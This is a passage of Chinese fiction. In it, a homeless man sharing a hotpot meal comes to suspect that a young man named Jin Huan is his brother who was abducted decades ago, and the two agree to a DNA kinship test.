“不是,您这样很好看。” 林晓玥看着那张已经收拾干净的面庞,无论是从五官轮廓还是神态,和自己的舅舅都更像了几分。 “和我舅舅年轻一点时简直是一模一样!” “那还真是挺巧的,请代我向他问好!” 林晓玥听到这句话赶忙眨眨眼抬起头,这才没让眼泪流下来。 “他……已经不在了。” 说完林晓玥挤出一张笑脸,“所以看见您的时候特别亲切,您别介意。” 流浪汉看起来五十岁出头,精神矍铄,谈吐间气度非凡,大概是家道中落才沦落至此。 “没关系,我和你投缘的很。哦对,还有你,小伙子。” 那个小伙子抬手扶了一下眼镜框,另一只手搓了搓裤子有些局促不安。 “刚刚真是多谢老人家了,要不是您仗义出手,我可就客死他乡了。” “不客气,顺手的事。对了,别叫我老人家,显得我老气横秋的,叫我老哥,不,大哥吧。” 林晓玥此时借着饭店里的灯光仔细观察,竟然发现这年轻人和流浪汉有几分相似。 “你还真别说,要不是年龄差太多,我都要以为你们是亲兄弟了!” 本来是依据玩笑话,说者无心,可听者有意。 那流浪汉手中的筷子当啷一声掉在桌子上,他向那个年轻人看过去,声音有些颤抖:“你叫什么名字?” “我叫金焕,怎么了?” 尽管知道不可能,但流浪汉还是追问道:“你的后脑勺上是不是有一个凸起的肉疙瘩?” 那人下意识伸手摸了一下:“没有啊,不过有一块疤,我爸说是在我很小的时候他抽烟不小心烫的。这一块到现在都不长头发!” 说着他转头把那块疤展示给两人看。 “这位置和我那走失的弟弟简直是一模一样!可惜你是北方人,不然我真的会怀疑你的身世。” 流浪汉的眼中夹杂着激动与失落的情绪。 “等等……你说你姓金?” 林晓玥想起小时候姥姥为了让自己听话不乱跑而吓唬自己的话:“不听话的孩子会被拍花子的拐走,隔壁村儿有个小孩儿就是买来的……” 而隔壁村儿有半个村的人,都姓金。 “要不……” “其实我也怀疑过这个。” “嗯?” 金焕突然打断了林晓玥的提议。 “我全家都口味清淡,偏偏只有我爱吃麻辣火锅,来到这里之后也倍感亲切,我很喜欢这里湿润的气候……你刚刚说什么?” “我说,要不然,你们做一个亲子鉴定,现在科技这么发达……当然了这只是我一个大胆的想法,你们不要生气。” “我觉得……” “我觉得……” 对面的两人异口同声道:“可以试一试。” “暂且不论你到底是不是我走失的弟弟,相遇就是今天的意义。” 流浪汉心情很好,“当然了,如果你真的是我家世杰,那我终于可以告慰爸妈的在天之灵了,也有颜面回家面对姑姑……这一刻,我等了快三十年、三十年……” 他夹了一口菜,嘴里哼着不知名的小调,被火锅的热气熏红了眼睛。 而那个叫金焕的年轻人,时而不可思议,时而微微笑着。